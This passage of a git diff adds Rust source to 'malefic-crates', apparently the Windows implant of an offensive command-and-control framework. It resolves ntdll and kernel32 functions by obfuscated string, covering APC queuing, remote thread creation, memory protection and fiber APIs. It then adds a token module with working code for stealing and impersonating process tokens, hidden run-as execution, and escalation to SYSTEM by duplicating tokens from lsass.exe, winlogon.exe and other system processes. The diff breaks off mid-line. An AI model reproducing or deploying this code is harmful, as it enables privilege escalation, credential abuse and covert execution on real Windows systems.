pub NtSignalAndWaitForSingleObject: NtSignalAndWaitForSingleObjectFn, + pub NtQueueApcThread: NtQueueApcThreadFn, + pub NtAlertResumeThread: NtAlertResumeThreadFn, + pub NtDuplicateObject: NtDuplicateObjectFn, + pub NtCreateEvent: NtCreateEventFn, + pub NtWaitForSingleObject: NtWaitForSingleObjectFn, + pub NtClose: NtCloseFn, + pub NtSetEvent: NtSetEventFn, + pub TpAllocPool: TpAllocPoolFn, + pub TpSetPoolStackInformation: TpSetPoolStackInformationFn, + pub TpSetPoolMinThreads: TpSetPoolMinThreadsFn, + pub TpSetPoolMaxThreads: TpSetPoolMaxThreadsFn, + pub TpAllocTimer: TpAllocFn, + pub TpSetTimer: TpSetTimerFn, + pub TpAllocWait: TpAllocFn, + pub TpSetWait: TpSetWaitFn, + pub CloseThreadpool: CloseThreadpoolFn, + pub RtlWalkHeap: RtlWalkHeapFn, + pub ConvertFiberToThread: ConvertFiberToThreadFn, + pub ConvertThreadToFiber: ConvertThreadToFiberFn, + pub CreateFiber: CreateFiberFn, + pub DeleteFiber: DeleteFiberFn, + pub SwitchToFiber: SwitchToFiberFn, + pub NtAllocateVirtualMemory: NtAllocateVirtualMemoryFn, + pub NtProtectVirtualMemory: NtProtectVirtualMemoryFn, + pub NtLockVirtualMemory: NtLockVirtualMemoryFn, + pub NtCreateThreadEx: NtCreateThreadExFn, + pub GetProcessHeap: GetProcessHeapFn, + pub RtlCreateHeap: RtlCreateHeapFn, + pub RtlAllocateHeap: RtlAllocateHeapFn, + pub RtlFreeHeap: RtlFreeHeapFn, +} + +/// Returns a reference to the resolved Winapis structure. +#[inline] +pub fn winapis() -> &'static Winapis { + WINAPIS.get_or_init(|| unsafe { + let ntdll = m_load_library_a(s!("ntdll.dll\0").as_ptr()); + let kernel32 = m_load_library_a(s!("kernel32.dll\0").as_ptr()); + let kernelbase = m_load_library_a(s!("kernelbase.dll\0").as_ptr()); + + Winapis { + NtSignalAndWaitForSingleObject: transmute(m_get_proc_address( + ntdll, + s!("NtSignalAndWaitForSingleObject\0").as_ptr(), + )), + NtQueueApcThread: transmute(m_get_proc_address( + ntdll, + s!("NtQueueApcThread\0").as_ptr(), + )), + NtAlertResumeThread: transmute(m_get_proc_address( + ntdll, + s!("NtAlertResumeThread\0").as_ptr(), + )), + NtDuplicateObject: transmute(m_get_proc_address( + ntdll, + s!("NtDuplicateObject\0").as_ptr(), + )), + NtCreateEvent: transmute(m_get_proc_address(ntdll, s!("NtCreateEvent\0").as_ptr())), + NtWaitForSingleObject: transmute(m_get_proc_address( + ntdll, + s!("NtWaitForSingleObject\0").as_ptr(), + )), + NtClose: transmute(m_get_proc_address(ntdll, s!("NtClose\0").as_ptr())), + NtSetEvent: transmute(m_get_proc_address(ntdll, s!("NtSetEvent\0").as_ptr())), + TpAllocPool: transmute(m_get_proc_address(ntdll, s!("TpAllocPool\0").as_ptr())), + TpSetPoolStackInformation: transmute(m_get_proc_address( + ntdll, + s!("TpSetPoolStackInformation\0").as_ptr(), + )), + TpSetPoolMinThreads: transmute(m_get_proc_address( + ntdll, + s!("TpSetPoolMinThreads\0").as_ptr(), + )), + TpSetPoolMaxThreads: transmute(m_get_proc_address( + ntdll, + s!("TpSetPoolMaxThreads\0").as_ptr(), + )), + TpAllocTimer: transmute(m_get_proc_address(ntdll, s!("TpAllocTimer\0").as_ptr())), + TpSetTimer: transmute(m_get_proc_address(ntdll, s!("TpSetTimer\0").as_ptr())), + TpAllocWait: transmute(m_get_proc_address(ntdll, s!("TpAllocWait\0").as_ptr())), + TpSetWait: transmute(m_get_proc_address(ntdll, s!("TpSetWait\0").as_ptr())), + CloseThreadpool: transmute(m_get_proc_address( + kernel32, + s!("CloseThreadpool\0").as_ptr(), + )), + RtlWalkHeap: transmute(m_get_proc_address(ntdll, s!("RtlWalkHeap\0").as_ptr())), + ConvertFiberToThread: transmute(m_get_proc_address( + kernelbase, + s!("ConvertFiberToThread\0").as_ptr(), + )), + ConvertThreadToFiber: transmute(m_get_proc_address( + kernelbase, + s!("ConvertThreadToFiber\0").as_ptr(), + )), + CreateFiber: transmute(m_get_proc_address(kernelbase, s!("CreateFiber\0").as_ptr())), + DeleteFiber: transmute(m_get_proc_address(kernelbase, s!("DeleteFiber\0").as_ptr())), + SwitchToFiber: transmute(m_get_proc_address( + kernelbase, + s!("SwitchToFiber\0").as_ptr(), + )), + NtAllocateVirtualMemory: transmute(m_get_proc_address( + ntdll, + s!("NtAllocateVirtualMemory\0").as_ptr(), + )), + NtProtectVirtualMemory: transmute(m_get_proc_address( + ntdll, + s!("NtProtectVirtualMemory\0").as_ptr(), + )), + NtLockVirtualMemory: transmute(m_get_proc_address( + ntdll, + s!("NtLockVirtualMemory\0").as_ptr(), + )), + NtCreateThreadEx: transmute(m_get_proc_address( + ntdll, + s!("NtCreateThreadEx\0").as_ptr(), + )), + GetProcessHeap: transmute(m_get_proc_address( + kernel32, + s!("GetProcessHeap\0").as_ptr(), + )), + RtlCreateHeap: transmute(m_get_proc_address(ntdll, s!("RtlCreateHeap\0").as_ptr())), + RtlAllocateHeap: transmute(m_get_proc_address(ntdll, s!("RtlAllocateHeap\0").as_ptr())), + RtlFreeHeap: transmute(m_get_proc_address(ntdll, s!("RtlFreeHeap\0").as_ptr())), + } + }) +} + +// ── Wrapper functions ──────────────────────────────────────────────── + +#[inline] +pub fn NtClose(Handle: HANDLE) -> NTSTATUS { + unsafe { (winapis().NtClose)(Handle) } +} + +#[inline] +pub fn NtSetEvent(hEvent: *mut c_void, PreviousState: *mut i32) -> NTSTATUS { + unsafe { (winapis().NtSetEvent)(hEvent, PreviousState) } +} + +#[inline] +pub fn NtWaitForSingleObject(Handle: HANDLE, Alertable: u8, Timeout: *mut i32) -> NTSTATUS { + unsafe { (winapis().NtWaitForSingleObject)(Handle, Alertable, Timeout) } +} + +#[inline] +pub fn NtCreateEvent( + EventHandle: *mut HANDLE, + DesiredAccess: u32, + ObjectAttributes: *mut c_void, + EventType: EVENT_TYPE, + InitialState: u8, +) -> NTSTATUS { + unsafe { + (winapis().NtCreateEvent)( + EventHandle, + DesiredAccess, + ObjectAttributes, + EventType, + InitialState, + ) + } +} + +#[inline] +pub fn NtDuplicateObject( + SourceProcessHandle: HANDLE, + SourceHandle: HANDLE, + TargetProcessHandle: HANDLE, + TargetHandle: *mut HANDLE, + DesiredAccess: u32, + HandleAttributes: u32, + Options: u32, +) -> NTSTATUS { + unsafe { + (winapis().NtDuplicateObject)( + SourceProcessHandle, + SourceHandle, + TargetProcessHandle, + TargetHandle, + DesiredAccess, + HandleAttributes, + Options, + ) + } +} + +#[inline] +pub fn NtLockVirtualMemory( + ProcessHandle: HANDLE, + BaseAddress: *mut *mut c_void, + RegionSize: *mut usize, + MapType: u32, +) -> NTSTATUS { + unsafe { (winapis().NtLockVirtualMemory)(ProcessHandle, BaseAddress, RegionSize, MapType) } +} + +#[inline] +pub fn NtAllocateVirtualMemory( + ProcessHandle: HANDLE, + BaseAddress: *mut *mut c_void, + ZeroBits: usize, + RegionSize: *mut usize, + AllocationType: u32, + Protect: u32, +) -> NTSTATUS { + unsafe { + (winapis().NtAllocateVirtualMemory)( + ProcessHandle, + BaseAddress, + ZeroBits, + RegionSize, + AllocationType, + Protect, + ) + } +} + +#[inline] +pub fn NtProtectVirtualMemory( + ProcessHandle: *mut c_void, + BaseAddress: *mut *mut c_void, + RegionSize: *mut usize, + NewProtect: u32, + OldProtect: *mut u32, +) -> NTSTATUS { + unsafe { + (winapis().NtProtectVirtualMemory)( + ProcessHandle, + BaseAddress, + RegionSize, + NewProtect, + OldProtect, + ) + } +} + +#[inline] +pub fn NtAlertResumeThread(ThreadHandle: HANDLE, PreviousSuspendCount: *mut u32) -> NTSTATUS { + unsafe { (winapis().NtAlertResumeThread)(ThreadHandle, PreviousSuspendCount) } +} + +#[inline] +pub fn NtQueueApcThread( + ThreadHandle: HANDLE, + ApcRoutine: *mut c_void, + ApcArgument1: *mut c_void, + ApcArgument2: *mut c_void, + ApcArgument3: *mut c_void, +) -> NTSTATUS { + unsafe { + (winapis().NtQueueApcThread)( + ThreadHandle, + ApcRoutine, + ApcArgument1, + ApcArgument2, + ApcArgument3, + ) + } +} + +#[inline] +pub fn NtSignalAndWaitForSingleObject( + SignalHandle: HANDLE, + WaitHandle: HANDLE, + Alertable: u8, + Timeout: *mut LARGE_INTEGER, +) -> NTSTATUS { + unsafe { + (winapis().NtSignalAndWaitForSingleObject)(SignalHandle, WaitHandle, Alertable, Timeout) + } +} + +#[inline] +pub fn TpAllocPool(PoolReturn: *mut *mut c_void, Reserved: *mut c_void) -> NTSTATUS { + unsafe { (winapis().TpAllocPool)(PoolReturn, Reserved) } +} + +#[inline] +pub fn TpSetPoolStackInformation( + Pool: *mut c_void, + PoolStackInformation: *mut TP_POOL_STACK_INFORMATION, +) -> NTSTATUS { + unsafe { (winapis().TpSetPoolStackInformation)(Pool, PoolStackInformation) } +} + +#[inline] +pub fn TpSetPoolMinThreads(Pool: *mut c_void, MinThreads: u32) -> NTSTATUS { + unsafe { (winapis().TpSetPoolMinThreads)(Pool, MinThreads) } +} + +#[inline] +pub fn TpSetPoolMaxThreads(Pool: *mut c_void, MaxThreads: u32) { + unsafe { (winapis().TpSetPoolMaxThreads)(Pool, MaxThreads) } +} + +#[inline] +pub fn TpAllocTimer( + Timer: *mut *mut c_void, + Callback: *mut c_void, + Context: *mut c_void, + CallbackEnviron: *mut TP_CALLBACK_ENVIRON_V3, +) -> NTSTATUS { + unsafe { (winapis().TpAllocTimer)(Timer, Callback, Context, CallbackEnviron) } +} + +#[inline] +pub fn TpSetTimer(Timer: *mut c_void, DueTime: *mut LARGE_INTEGER, Period: u32, WindowLength: u32) { + unsafe { (winapis().TpSetTimer)(Timer, DueTime, Period, WindowLength) } +} + +#[inline] +pub fn TpAllocWait( + WaitReturn: *mut *mut c_void, + Callback: *mut c_void, + Context: *mut c_void, + CallbackEnviron: *mut TP_CALLBACK_ENVIRON_V3, +) -> NTSTATUS { + unsafe { (winapis().TpAllocWait)(WaitReturn, Callback, Context, CallbackEnviron) } +} + +#[inline] +pub fn TpSetWait(Wait: *mut c_void, Handle: *mut c_void, Timeout: *mut LARGE_INTEGER) { + unsafe { (winapis().TpSetWait)(Wait, Handle, Timeout) } +} + +#[inline] +pub fn CloseThreadpool(Pool: *mut c_void) -> NTSTATUS { + unsafe { (winapis().CloseThreadpool)(Pool) } +} + +#[inline] +pub fn RtlWalkHeap(HeapHandle: *mut c_void, Entry: *mut RTL_HEAP_WALK_ENTRY) -> NTSTATUS { + unsafe { (winapis().RtlWalkHeap)(HeapHandle, Entry) } +} + +#[inline] +pub fn GetProcessHeap() -> *mut c_void { + unsafe { (winapis().GetProcessHeap)() } +} + +#[inline] +pub fn RtlCreateHeap( + Flags: u32, + HeapBase: *mut c_void, + ReserveSize: usize, + CommitSize: usize, + Lock: *mut c_void, + Parameters: *mut c_void, +) -> *mut c_void { + unsafe { (winapis().RtlCreateHeap)(Flags, HeapBase, ReserveSize, CommitSize, Lock, Parameters) } +} + +#[inline] +pub fn RtlAllocateHeap(HeapHandle: *mut c_void, Flags: u32, Size: usize) -> *mut c_void { + unsafe { (winapis().RtlAllocateHeap)(HeapHandle, Flags, Size) } +} + +#[inline] +pub fn RtlFreeHeap(HeapHandle: *mut c_void, Flags: u32, BaseAddress: *mut c_void) -> i8 { + unsafe { (winapis().RtlFreeHeap)(HeapHandle, Flags, BaseAddress) } +} + +#[inline] +pub fn ConvertFiberToThread() -> i32 { + unsafe { (winapis().ConvertFiberToThread)() } +} + +#[inline] +pub fn ConvertThreadToFiber(lpParameter: *mut c_void) -> *mut c_void { + unsafe { (winapis().ConvertThreadToFiber)(lpParameter) } +} + +#[inline] +pub fn CreateFiber( + dwStackSize: usize, + lpStartAddress: LPFIBER_START_ROUTINE, + lpParameter: *const c_void, +) -> *mut c_void { + unsafe { (winapis().CreateFiber)(dwStackSize, lpStartAddress, lpParameter) } +} + +#[inline] +pub fn DeleteFiber(lpFiber: *mut c_void) { + unsafe { (winapis().DeleteFiber)(lpFiber) } +} + +#[inline] +pub fn SwitchToFiber(lpFiber: *mut c_void) { + unsafe { (winapis().SwitchToFiber)(lpFiber) } +} + +pub fn NtCreateThreadEx( + ThreadHandle: *mut HANDLE, + DesiredAccess: u32, + ObjectAttributes: *mut c_void, + ProcessHandle: HANDLE, + StartRoutine: *mut c_void, + Argument: *mut c_void, + CreateSuspended: u32, + ZeroBits: u32, + StackSize: u32, + MaximumStackSize: u32, + AttributeList: *mut c_void, +) -> NTSTATUS { + unsafe { + (winapis().NtCreateThreadEx)( + ThreadHandle, + DesiredAccess, + ObjectAttributes, + ProcessHandle, + StartRoutine, + Argument, + CreateSuspended, + ZeroBits, + StackSize, + MaximumStackSize, + AttributeList, + ) + } +} + +/// Lightweight NtSetEvent wrapper for use as a threadpool callback. +pub extern "C" fn NtSetEvent2(_: *mut c_void, event: *mut c_void, _: *mut c_void, _: u32) { + NtSetEvent(event, null_mut()); +} diff --git a/malefic-crates/win/src/token/mod.rs b/malefic-crates/win/src/token/mod.rs new file mode 100644 index 0000000..a60e5fb --- /dev/null +++ b/malefic-crates/win/src/token/mod.rs @@ -0,0 +1,733 @@ +use std::ffi::c_void; +use std::ptr::null_mut; +use windows::core::{Error, Result, HRESULT, PWSTR}; +use windows::Win32::Foundation::{CloseHandle, GetLastError, ERROR_NOT_ALL_ASSIGNED, HANDLE, LUID}; +use windows::Win32::Security::{ + AdjustTokenPrivileges, DuplicateTokenEx, GetTokenInformation, ImpersonateLoggedOnUser, + LogonUserW, LookupAccountSidW, LookupPrivilegeDisplayNameW, LookupPrivilegeNameW, + LookupPrivilegeValueW, RevertToSelf, SecurityImpersonation, TokenElevation, + TokenIntegrityLevel, TokenPrivileges, TokenUser, LOGON32_LOGON_INTERACTIVE, + LOGON32_PROVIDER_DEFAULT, LUID_AND_ATTRIBUTES, SE_PRIVILEGE_ENABLED, SID_NAME_USE, + TOKEN_ACCESS_MASK, TOKEN_ADJUST_PRIVILEGES, TOKEN_ALL_ACCESS, TOKEN_ASSIGN_PRIMARY, + TOKEN_DUPLICATE, TOKEN_ELEVATION, TOKEN_PRIVILEGES, TOKEN_QUERY, TOKEN_TYPE, +}; +use windows::Win32::System::Environment::{DestroyEnvironmentBlock, GetEnvironmentStringsW}; +use windows::Win32::System::SystemServices::{ + SECURITY_MANDATORY_HIGH_RID, SECURITY_MANDATORY_LOW_RID, SECURITY_MANDATORY_MEDIUM_RID, +}; +use windows::Win32::System::Threading::{ + CreateProcessAsUserW, CreateProcessWithLogonW, GetCurrentProcessId, OpenProcess, + OpenProcessToken, CREATE_NO_WINDOW, CREATE_PROCESS_LOGON_FLAGS, CREATE_UNICODE_ENVIRONMENT, + PROCESS_CREATE_THREAD, PROCESS_CREATION_FLAGS, PROCESS_DUP_HANDLE, PROCESS_INFORMATION, + PROCESS_QUERY_INFORMATION, PROCESS_TERMINATE, PROCESS_VM_OPERATION, PROCESS_VM_READ, + PROCESS_VM_WRITE, STARTF_USESTDHANDLES, STARTUPINFOW, STARTUPINFOW_FLAGS, +}; + +use crate::common::{get_buffer, to_wide_string}; +use crate::pipe::AnonymousPipe; + +pub fn get_token(pid: u32, access_rights: TOKEN_ACCESS_MASK) -> Result { + unsafe { + let process_handle = OpenProcess(PROCESS_QUERY_INFORMATION, false, pid)?; + let mut token_handle: HANDLE = HANDLE::default(); + OpenProcessToken(process_handle, access_rights, &mut token_handle)?; + let _ = CloseHandle(process_handle); + Ok(token_handle) + } +} + +pub fn is_privilege() -> Result { + let h_token = get_token(unsafe { GetCurrentProcessId() }, TOKEN_QUERY)?; + + unsafe { + let mut elevation: TOKEN_ELEVATION = std::mem::zeroed(); + let mut size: u32 = 0; + + if GetTokenInformation( + h_token, + TokenElevation, + Some(&mut elevation as *mut _ as *mut c_void), + std::mem::size_of::() as u32, + &mut size, + ) + .is_ok() + { + return Ok(elevation.TokenIsElevated != 0); + } + + Err(Error::from_win32()) + } +} + +pub fn enable_privilege(privilege_name: &str) -> Result<()> { + let token_handle = get_token( + unsafe { GetCurrentProcessId() }, + TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, + )?; + + unsafe { + let privilege_name: Vec = to_wide_string(privilege_name); + let mut luid: LUID = LUID::default(); + + LookupPrivilegeValueW(None, PWSTR(privilege_name.as_ptr() as *mut u16), &mut luid)?; + + let mut tp: TOKEN_PRIVILEGES = TOKEN_PRIVILEGES { + PrivilegeCount: 1, + Privileges: [LUID_AND_ATTRIBUTES { + Luid: luid, + Attributes: SE_PRIVILEGE_ENABLED, + }], + }; + + AdjustTokenPrivileges( + token_handle, + false, + Some(&mut tp), + std::mem::size_of::() as u32, + None, + None, + )?; + + let _ = CloseHandle(token_handle); + } + Ok(()) +} + +pub fn make_token(user_name: &str, domain: &str, password: &str) -> Result { + unsafe { + let user_name: Vec = to_wide_string(user_name); + let domain: Vec = to_wide_string(domain); + let password: Vec = to_wide_string(password); + + let mut token_handle: HANDLE = HANDLE::default(); + + LogonUserW( + PWSTR(user_name.as_ptr() as *mut u16), + PWSTR(domain.as_ptr() as *mut u16), + PWSTR(password.as_ptr() as *mut u16), + LOGON32_LOGON_INTERACTIVE, + LOGON32_PROVIDER_DEFAULT, + &mut token_handle, + )?; + + ImpersonateLoggedOnUser(token_handle)?; + + Ok(token_handle) + } +} + +pub fn revert_to_self() -> Result<()> { + unsafe { + RevertToSelf()?; + } + Ok(()) +} + +pub fn impersonate_user(username: &str) -> Result { + if username.is_empty() { + return Err(Error::from(HRESULT(1))); + } + + // Get process information + let processes = match malefic_process::get_processes() { + Ok(procs) => procs, + Err(_) => { + return Err(Error::from(windows::core::HRESULT(1))); + } + }; + + // Iterate through all processes to find matching username + for (_pid, process) in processes.iter() { + if process.owner == username { + impersonate_process(process.pid)?; + } + } + + unsafe { + RevertToSelf()?; + } + + // Return error indicating process not found + Err(Error::from(HRESULT(1))) +} + +const TOKEN_PRIMARY: TOKEN_TYPE = TOKEN_TYPE(1); // TOKEN_PRIMARY actual value is 1 + +pub fn impersonate_process(pid: u32) -> Result { + unsafe { + let process_handle = OpenProcess( + PROCESS_QUERY_INFORMATION + | PROCESS_CREATE_THREAD + | PROCESS_VM_OPERATION + | PROCESS_VM_READ + | PROCESS_VM_WRITE + | PROCESS_DUP_HANDLE + | PROCESS_TERMINATE, + false, + pid, + )?; + + let mut token_handle: HANDLE = HANDLE::default(); + OpenProcessToken( + process_handle, + TOKEN_DUPLICATE | TOKEN_ASSIGN_PRIMARY | TOKEN_QUERY, + &mut token_handle, + )?; + + let mut new_token_handle: HANDLE = HANDLE::default(); + + DuplicateTokenEx( + token_handle, + TOKEN_ALL_ACCESS, + None, + SecurityImpersonation, + TOKEN_PRIMARY, + &mut new_token_handle, + )?; + + ImpersonateLoggedOnUser(new_token_handle)?; + + let _ = CloseHandle(token_handle); + let _ = CloseHandle(process_handle); + + Ok(new_token_handle) + } +} + +pub fn run_process_as_user(username: &str, command: &str, args: &str) -> Result<()> { + let token_handle = impersonate_user(username)?; + + let mut startup_info: STARTUPINFOW = STARTUPINFOW::default(); + let mut process_info: PROCESS_INFORMATION = PROCESS_INFORMATION::default(); + + let command_line = format!("{} {}", command, args); + let command_line: Vec = to_wide_string(&command_line); + + unsafe { + CreateProcessAsUserW( + token_handle, + None, + PWSTR(command_line.as_ptr() as *mut u16), + None, + None, + false, + PROCESS_CREATION_FLAGS(0), + None, + None, + &mut startup_info, + &mut process_info, + )?; + + let _ = CloseHandle(process_info.hProcess); + let _ = CloseHandle(process_info.hThread); + } + Ok(()) +} + +pub fn get_process_integrity_level(token_handle: HANDLE) -> Result { + let mut size_needed: u32 = 0; + unsafe { + let success = + GetTokenInformation(token_handle, TokenIntegrityLevel, None, 0, &mut size_needed); + get_buffer(success).map_err(|e| { + let _ = CloseHandle(token_handle); + e + })?; + + let mut buffer = vec![0u8; size_needed as usize]; + + GetTokenInformation( + token_handle, + TokenIntegrityLevel, + Some(buffer.as_mut_ptr() as *mut c_void), + size_needed, + &mut size_needed, + )?; + + // Extract integrity level (last 4 bytes) + let privilege_level = u32::from_le_bytes([ + buffer[size_needed as usize - 4], + buffer[size_needed as usize - 3], + buffer[size_needed as usize - 2], + buffer[size_needed as usize - 1], + ]); + + // Determine integrity level and return corresponding string + Ok(match privilege_level { + rid if rid < SECURITY_MANDATORY_LOW_RID as u32 => "Untrusted".to_string(), + rid if rid < SECURITY_MANDATORY_MEDIUM_RID as u32 => "Low".to_string(), + rid if rid >= SECURITY_MANDATORY_MEDIUM_RID as u32 + && rid < SECURITY_MANDATORY_HIGH_RID as u32 => + { + "Medium".to_string() + } + rid if rid >= SECURITY_MANDATORY_HIGH_RID as u32 => "High".to_string(), + _ => "Unknown".to_string(), + }) + } +} + +pub fn lookup_privilege_name_by_luid(luid: LUID) -> Result<(String, String)> { + unsafe { + let mut name = vec![0u16; 256]; + let mut display_name = vec![0u16; 256]; + let mut name_len = name.len() as u32; + let mut display_name_len = display_name.len() as u32; + let mut lang_id: u32 = 0; + + // Get privilege name + LookupPrivilegeNameW( + PWSTR(null_mut()), + &luid, + PWSTR(name.as_mut_ptr()), + &mut name_len, + )?; + + // Get privilege display name + LookupPrivilegeDisplayNameW( + PWSTR(null_mut()), + PWSTR(name.as_mut_ptr()), + PWSTR(display_name.as_mut_ptr()), + &mut display_name_len, + &mut lang_id, + )?; + + // Return only the actual characters used, removing null characters and uninitialized buffer + let name_str = String::from_utf16_lossy(&name[..name_len as usize]); + let display_name_str = String::from_utf16_lossy(&display_name[..display_name_len as usize]); + + Ok((name_str, display_name_str)) + } +} + +pub fn get_privs() -> Result> { + let token_handle = get_token(unsafe { GetCurrentProcessId() }, TOKEN_QUERY)?; + + unsafe { + let mut token_info_size: u32 = 0; + + // First call to GetTokenInformation to get required buffer size + let _ = GetTokenInformation(token_handle, TokenPrivileges, None, 0, &mut token_info_size); + + // Allocate buffer size + let mut buffer = vec![0u8; token_info_size as usize]; + + // Second call to GetTokenInformation to get actual TOKEN_PRIVILEGES information + let _ = GetTokenInformation( + token_handle, + TokenPrivileges, + Some(buffer.as_mut_ptr() as *mut c_void), + token_info_size, + &mut token_info_size, + )?; + + // Parse TOKEN_PRIVILEGES structure + let token_privileges = buffer.as_ptr() as *const TOKEN_PRIVILEGES; + let privilege_count = (*token_privileges).PrivilegeCount as usize; + + // Manually calculate the position of Privileges array and parse each element + let privileges_ptr = &(*token_privileges).Privileges as *const LUID_AND_ATTRIBUTES; + let privileges_slice = std::slice::from_raw_parts(privileges_ptr, privilege_count); + + let mut priv_list = Vec::new(); + for i in 0..privilege_count { + let luid = privileges_slice[i].Luid; + let (name, display_name) = lookup_privilege_name_by_luid(luid)?; + priv_list.push((name, display_name)); + } + + // Close handle and return privilege list + let _ = CloseHandle(token_handle); + Ok(priv_list) + } +} + +pub fn current_token_owner() -> Result { + let token_handle = get_token(unsafe { GetCurrentProcessId() }, TOKEN_QUERY)?; + + unsafe { + // First call to GetTokenInformation to get required buffer size + let mut size_needed: u32 = 0; + let _ = GetTokenInformation(token_handle, TokenUser, None, 0, &mut size_needed); + + // Allocate buffer to store TOKEN_USER information + let mut buffer = vec![0u8; size_needed as usize]; + + // Second call to GetTokenInformation to get actual TOKEN_USER information + let _ = GetTokenInformation( + token_handle, + TokenUser, + Some(buffer.as_mut_ptr() as *mut c_void), + size_needed, + &mut size_needed, + )?; + + // Parse returned TOKEN_USER structure + let token_user = buffer.as_ptr() as *const windows::Win32::Security::SID_AND_ATTRIBUTES; + + // Prepare buffers to store username and domain name + let mut user_name = vec![0u16; 256]; + let mut domain_name = vec![0u16; 256]; + let mut user_name_len = 256u32; + let mut domain_name_len = 256u32; + let mut sid_name_use = SID_NAME_USE::default(); + + // Call LookupAccountSidW to lookup account name + LookupAccountSidW( + PWSTR(null_mut()), + (*token_user).Sid, + PWSTR(user_name.as_mut_ptr()), + &mut user_name_len, + PWSTR(domain_name.as_mut_ptr()), + &mut domain_name_len, + &mut sid_name_use, + )?; + + // Format username and domain name + let full_name = format!( + "{}\\{}", + String::from_utf16_lossy(&domain_name[..domain_name_len as usize]), + String::from_utf16_lossy(&user_name[..user_name_len as usize]) + ); + + // Close handle and return full name + let _ = CloseHandle(token_handle); + Ok(full_name) + } +} + +/// Run program as specified user +/// +/// # Arguments +/// +/// * `username` - Username +/// * `domain` - Domain name, can be empty or "." for local user +/// * `password` - Password +/// * `program` - Program path to run +/// * `args` - Program arguments +/// * `use_network_credentials` - Whether to use network credentials only +/// * `load_user_profile` - Whether to load user profile +/// * `inherit_env` - Whether to inherit current environment variables +pub fn run_as( + username: &str, + domain: &str, + password: &str, + program: &str, + args: &str, + use_network_credentials: bool, + load_user_profile: bool, + inherit_env: bool, +) -> Result { + // First try to enable necessary privileges + let _ = enable_privilege("SeAssignPrimaryTokenPrivilege"); + let _ = enable_privilege("SeImpersonatePrivilege"); + + let mut logon_flags = CREATE_PROCESS_LOGON_FLAGS(0); + let mut creation_flags = PROCESS_CREATION_FLAGS(CREATE_NO_WINDOW.0); + let mut env_block: *mut c_void = std::ptr::null_mut(); + + if use_network_credentials { + logon_flags = CREATE_PROCESS_LOGON_FLAGS(logon_flags.0 | 0x00000002); // LOGON_NETCREDENTIALS_ONLY + } + + if load_user_profile { + logon_flags = CREATE_PROCESS_LOGON_FLAGS(logon_flags.0 | 0x00000001); // LOGON_WITH_PROFILE + } + + if inherit_env { + unsafe { + // Get current environment variables + env_block = GetEnvironmentStringsW().0.cast(); + if !env_block.is_null() { + creation_flags |= CREATE_UNICODE_ENVIRONMENT; + } + } + } + + let mut startup_info: STARTUPINFOW = STARTUPINFOW::default(); + startup_info.cb = std::mem::size_of::() as u32; + startup_info.dwFlags |= STARTF_USESTDHANDLES; + startup_info.wShowWindow = 0; // SW_HIDE + startup_info.dwFlags |= STARTUPINFOW_FLAGS(0x00000001); // STARTF_USESHOWWINDOW + + // Create anonymous pipe to capture output + let pipe = AnonymousPipe::create()?; + + startup_info.hStdOutput = pipe.get_write_handle(); + startup_info.hStdError = pipe.get_write_handle(); + + let mut process_info: PROCESS_INFORMATION = PROCESS_INFORMATION::default(); + + let mut command = String::new(); + if !program.is_empty() { + command.push_str(program); + if !args.is_empty() { + command.push_str(" "); + command.push_str(args); + } + } + + let command_wide = to_wide_string(&command); + let username_wide = to_wide_string(username); + let domain_wide = to_wide_string(domain); + let password_wide = to_wide_string(password); + + let output; + + unsafe { + // First try using CreateProcessAsUser + let mut h_token = HANDLE::default(); + if LogonUserW( + PWSTR(username_wide.as_ptr() as *mut u16), + PWSTR(domain_wide.as_ptr() as *mut u16), + PWSTR(password_wide.as_ptr() as *mut u16), + LOGON32_LOGON_INTERACTIVE, + LOGON32_PROVIDER_DEFAULT, + &mut h_token, + ) + .is_ok() + { + let mut h_duptoken = HANDLE::default(); + if DuplicateTokenEx( + h_token, + TOKEN_ALL_ACCESS, + None, + SecurityImpersonation, + TOKEN_TYPE(1), // TOKEN_PRIMARY + &mut h_duptoken, + ) + .is_ok() + { + // Try using CreateProcessAsUser + if CreateProcessAsUserW( + h_duptoken, + None, + PWSTR(command_wide.as_ptr() as *mut u16), + None, + None, + true, + creation_flags, + if !env_block.is_null() { + Some(env_block) + } else { + None + }, + None, + &startup_info, + &mut process_info, + ) + .is_ok() + { + // Close write end so read end receives EOF when process ends + let _ = CloseHandle(pipe.get_write_handle())?; + + // Read output + output = pipe.read()?; + + // Clean up resources + if !env_block.is_null() { + let _ = DestroyEnvironmentBlock(env_block); + } + let _ = CloseHandle(h_duptoken)?; + let _ = CloseHandle(h_token)?; + let _ = CloseHandle(process_info.hProcess)?; + let _ = CloseHandle(process_info.hThread)?; + return Ok(output); + } + let _ = CloseHandle(h_duptoken)?; + } + let _ = CloseHandle(h_token)?; + } + + // If CreateProcessAsUser fails, try using CreateProcessWithLogonW + if CreateProcessWithLogonW( + PWSTR(username_wide.as_ptr() as *mut u16), + PWSTR(domain_wide.as_ptr() as *mut u16), + PWSTR(password_wide.as_ptr() as *mut u16), + logon_flags, + None, + PWSTR(command_wide.as_ptr() as *mut u16), + creation_flags, + if !env_block.is_null() { + Some(env_block) + } else { + None + }, + None, + &startup_info, + &mut process_info, + ) + .is_ok() + { + // Close write end so read end receives EOF when process ends + let _ = CloseHandle(pipe.get_write_handle())?; + + // Read output + output = pipe.read()?; + + // Clean up resources + if !env_block.is_null() { + let _ = DestroyEnvironmentBlock(env_block); + } + let _ = CloseHandle(process_info.hProcess)?; + let _ = CloseHandle(process_info.hThread)?; + return Ok(output); + } + + // If all attempts fail, return last error + Err(Error::from_win32()) + } +} + +pub fn get_system() -> Result { + get_system_token_duplication() +} + +fn get_system_token_duplication() -> Result { + // Enable necessary privileges + if let Err(_) = enable_privilege("SeDebugPrivilege") { + // If unable to enable SeDebugPrivilege, try to continue + println!("Warning: Could not enable SeDebugPrivilege"); + } + if let Err(_) = enable_privilege("SeImpersonatePrivilege") { + // If unable to enable SeImpersonatePrivilege, try to continue + println!("Warning: Could not enable SeImpersonatePrivilege"); + } + + // Get all processes + let processes = malefic_process::get_processes().map_err(|_| Error::from_win32())?; + + // Find SYSTEM processes (sorted by priority) + let system_process_names = [ + "winlogon.exe", + "lsass.exe", + "services.exe", + "csrss.exe", + "wininit.exe", + ]; + + for process_name in &system_process_names { + for (_pid, process) in processes.iter() { + if process.name.to_lowercase() == process_name.to_lowercase() { + // Check if process owner is SYSTEM + if process.owner.to_lowercase().contains("system") + || process.owner.to_lowercase().contains("nt authority") + { + if let Ok(token) = duplicate_system_token(process.pid) { + return Ok(token); + } + } + } + } + } + + Err(Error::from(HRESULT(0x80070005u32 as 